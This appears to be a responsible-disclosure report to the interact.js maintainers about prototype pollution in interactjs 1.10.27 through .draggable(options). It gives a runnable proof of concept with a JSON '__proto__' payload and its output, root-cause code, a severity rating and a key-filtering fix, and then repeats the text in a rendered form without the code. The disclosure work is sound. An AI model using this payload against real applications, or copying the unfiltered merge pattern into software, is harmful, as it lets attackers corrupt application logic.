Hi maintainers,
I found a prototype pollution issue in the public interactjs API when action options contain prototype-related keys such as __proto__.
I understand that applications normally provide trusted configuration objects to interact(element).draggable(), so this may depend on the application's threat model. However, if an application builds interact.js options from user-controlled JSON or remote/project-controlled configuration, a malicious option key can write properties onto Object.prototype.
Summary
interactjs@1.10.27 allows a caller-controlled __proto__ option key to reach the per-action option merge path used by .draggable(options).
The issue is reachable through the normal public API:
interact(element).draggable(options)
With an own enumerable __proto__ key, the merge path writes attacker-controlled properties to Object.prototype.
Affected version
Tested version:
interactjs@1.10.27
@interactjs/core@1.10.27
This is the latest npm version I tested.
Proof of Concept
The following PoC uses interactjs through the public package entry point and .draggable(options).
set -eu
rm -rf /tmp/interactjs-pp-poc
mkdir /tmp/interactjs-pp-poc
cd /tmp/interactjs-pp-poc
npm init -y >/dev/null
npm install interactjs@1.10.27 jsdom@24 >/dev/null
node --input-type=module <<'NODE'
import { JSDOM } from 'jsdom';
import interact from 'interactjs';
const dom = new JSDOM('<!doctype html><div id="draggable"></div>');
globalThis.window = dom.window;
globalThis.document = dom.window.document;
globalThis.Element = dom.window.Element;
globalThis.HTMLElement = dom.window.HTMLElement;
globalThis.SVGElement = dom.window.SVGElement;
globalThis.Node = dom.window.Node;
delete Object.prototype.polluted;
const payload = JSON.parse('{"__proto__":{"polluted":"yes_public_draggable"}}');
console.log('before:', {}.polluted, Object.prototype.polluted);
interact(document.getElementById('draggable')).draggable(payload);
console.log('after:', {}.polluted, Object.prototype.polluted);
delete Object.prototype.polluted;
NODE
Observed output:
before: undefined undefined
after: yes_public_draggable yes_public_draggable
Root Cause
The public .draggable(options) API forwards options into the per-action option handling path.
In packages/@interactjs/core/Interactable.ts, setPerAction() iterates over option keys and merges plain-object option values:
setPerAction(actionName: ActionName, options: OrBoolean<Options>) {
const defaults = this._defaults;
for (const optionName in options) {
const actionOptions = this.options[actionName];
const optionValue = options[optionName];
...
if (is.plainObject(optionValue)) {
actionOptions[optionName] = extend(
actionOptions[optionName] || {},
clone(optionValue),
);
...
}
}
}
When optionName === "__proto__", this expression:
actionOptions[optionName] || {}
does not behave like a normal own property read. On an ordinary object, actionOptions["__proto__"] resolves through the special __proto__ accessor and returns the object's prototype, usually Object.prototype.
The subsequent extend(...) then writes attacker-controlled keys onto Object.prototype.
The helper functions also do not filter prototype-related keys:
function extend(dest, source) {
for (const prop in source) {
dest[prop] = source[prop];
}
}
and:
function clone(source) {
const dest = {};
for (const prop in source) {
...
dest[prop] = value;
}
return dest;
}
Impact
If an application passes untrusted or semi-trusted option objects into interact.js, for example options derived from user-controlled JSON, CMS data, project configuration, or remote layout/configuration state, an attacker can pollute Object.prototype.
Prototype pollution can corrupt later application logic and may become a stepping stone to more serious impact depending on how the host application uses object properties after pollution.
I would rate this as a low-to-medium severity library hardening issue by default, because exploitation depends on the host application accepting untrusted interact.js configuration. The vulnerable behavior is still undesirable in a public options-processing API.
Suggested classification:
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes
Possible CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
Suggested Fix
Reject or safely ignore prototype-related keys before dynamic property reads/writes and object merges.
At minimum, skip these keys in setPerAction(), extend(), and clone():
__proto__
constructor
prototype
For example:
const unsafeKeys = new Set(['__proto__', 'constructor', 'prototype']);
if (unsafeKeys.has(optionName)) {
continue;
}
It would also be safer for merge helpers to operate on null-prototype objects or use own-property-only checks where appropriate.
Thanks for maintaining interact.js.
Hi maintainers,
I found a prototype pollution issue in the public
interactjsAPI when action options contain prototype-related keys such as__proto__.I understand that applications normally provide trusted configuration objects to
interact(element).draggable(), so this may depend on the application's threat model. However, if an application builds interact.js options from user-controlled JSON or remote/project-controlled configuration, a malicious option key can write properties ontoObject.prototype.Summary
interactjs@1.10.27allows a caller-controlled__proto__option key to reach the per-action option merge path used by.draggable(options).The issue is reachable through the normal public API:
With an own enumerable
__proto__key, the merge path writes attacker-controlled properties toObject.prototype.Affected version
Tested version:
This is the latest npm version I tested.
Proof of Concept
The following PoC uses
interactjsthrough the public package entry point and.draggable(options).Observed output:
Root Cause
The public
.draggable(options)API forwards options into the per-action option handling path.In
packages/@interactjs/core/Interactable.ts,setPerAction()iterates over option keys and merges plain-object option values:When
optionName === "__proto__", this expression:does not behave like a normal own property read. On an ordinary object,
actionOptions["__proto__"]resolves through the special__proto__accessor and returns the object's prototype, usuallyObject.prototype.The subsequent
extend(...)then writes attacker-controlled keys ontoObject.prototype.The helper functions also do not filter prototype-related keys:
and:
Impact
If an application passes untrusted or semi-trusted option objects into interact.js, for example options derived from user-controlled JSON, CMS data, project configuration, or remote layout/configuration state, an attacker can pollute
Object.prototype.Prototype pollution can corrupt later application logic and may become a stepping stone to more serious impact depending on how the host application uses object properties after pollution.
I would rate this as a low-to-medium severity library hardening issue by default, because exploitation depends on the host application accepting untrusted interact.js configuration. The vulnerable behavior is still undesirable in a public options-processing API.
Suggested classification:
Possible CVSS v3.1 vector:
Suggested Fix
Reject or safely ignore prototype-related keys before dynamic property reads/writes and object merges.
At minimum, skip these keys in
setPerAction(),extend(), andclone():For example:
It would also be safer for merge helpers to operate on null-prototype objects or use own-property-only checks where appropriate.
Thanks for maintaining interact.js.